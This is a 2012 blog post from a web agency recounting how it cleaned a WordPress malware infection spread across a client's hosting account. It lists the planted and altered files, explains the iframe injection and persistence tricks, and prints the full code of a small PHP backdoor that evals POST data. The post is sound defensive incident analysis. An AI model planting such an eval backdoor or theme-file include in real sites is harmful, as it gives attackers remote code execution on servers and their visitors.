Multi-WordPress hack

Post: 14 October 2012 by kriss in: Security Print

Recently, one of our clients pointed out that his WordPress website was infected by malware and flagged by Google as such, triggering a warning both when looking for it on the search engine or visiting it using Google Chrome or Firefox. The Google Webmaster Tools account associated to this website confirmed that the search engine did find a malware on this website

Recently, one of our clients pointed out that his WordPress website was infected by malware and flagged by Google as such, triggering a warning both when looking for it on the search engine or visiting it using Google Chrome or Firefox. The Google Webmaster Tools account associated to this website confirmed that the search engine did find a malware on this website and from this point on, it was clear that the website was hacked and needed to be cleaned.

Under such circumstances, the safest solution for most people is to delete everything on their hosting space, including databases, and restore the latest backup known to be safe. But in the case of this client, this actually appeared to be the hardest solution, both because the backup was not so fresh and because the hosting space hosted many other websites and databases.

We thus had no choice but to clean the infection directly from the existing installation, and we learned quite a lot about this new form of WordPress attack. We say WordPress attack because there were a dozen of websites on this hosting account, and all other online WordPress websites on this hosting account were affected by the same issue, whereas other websites, either using Joomla! websites, being static, or event built from scratch, remained unaffected.

Our first reaction was to check the HTTP logs... Cleared after the infection, of course. Fortunately, we still managed to get some clues about what code was run by the attacker. From this information, we discovered strange activity from a few PHP files and were likely to be the source of evil. Those files are given from the root of the WordPress installation:

New files (bad files):

  • /wp-apps.php
  • /wp-count.php
  • /wp-includes/wp-var.php
  • /wp-admin/js/poster.js

Modified files, by name:

  • /wp-comments-post.php
  • /wp-links-opml.php
  • /wp-register.php

Modified files, by pattern:

  • /wp-content/*header.php
  • /wp-content/*footer.php

The first four files contained contained either encrypted PHP code, or code issuing simply a plain eval(user submitted data) which should already trigger the red alert. Here is the contents of wp-var.php:

Print

  1. <?php
  2. if (isset($_POST['wp-load'])) {
  3. eval($_POST['wp-load']);
  4. }
  5. ?>

At least, the hacker did not bother to obfuscate this trivial but yet very dangerous code. Interestingly, the poster.js file contained a list of IP addresses, instead of JavaScript code as one might expect. Reverse-engineering the first PHP files revealed that these IP addresses were the ones of the visitors of the website that were targeted by the malware. These visitors were also targeted by the browser they were using. The PHP code, among other things, did inject an <iframe> to the victim, recreated the malware files, cloaked the modification time of poster.js. This injected <iframe> was of course the utimate door to the malware website which led Google to think you hosted a malware.

The modified files by name had to be restored to their original. The hacker simply added five lines at the top to do yet another plain eval(user submitted data). These five lines could also be removed by hand if restoring an original proved to be more tedious. You will notice that the attack modified two files on which POST request are normally expected, so that you will not get alarmed when you see the HTTP request in your logs.

Lastly, the modified files by pattern are what wasted us the most time: many theme files were modified, because files containing ''header'' or ''footer'' in their names are common here. In these files, just one line of PHP code was injected at the beginning: a line including the bad /wp-apps.php file mentioned above. The line should of course be removed in each file it appears.

When not cleaned up correctly, the attack came back, and it took us several attempts before remaining safe. Note that upgrading WordPress to the latest version (3.4.2 at the time of this writing) did not fix the problem and the attack still came back. It is not clear how the attackers were able to put or modify these files on the server, we suspect oudated WordPress plugins. We are investigating on it and will post further information as we discover new materials.

Our final word is that with or without WordPress, there are four golden rules to never forget:

  • Back-up as often as possible
  • Harden as often as possible
  • Update as often as possible
  • 100% security being impossible to reach is not a reason to not, at least, tend to it

By just following these simple guidelines, you should be safe on most websites.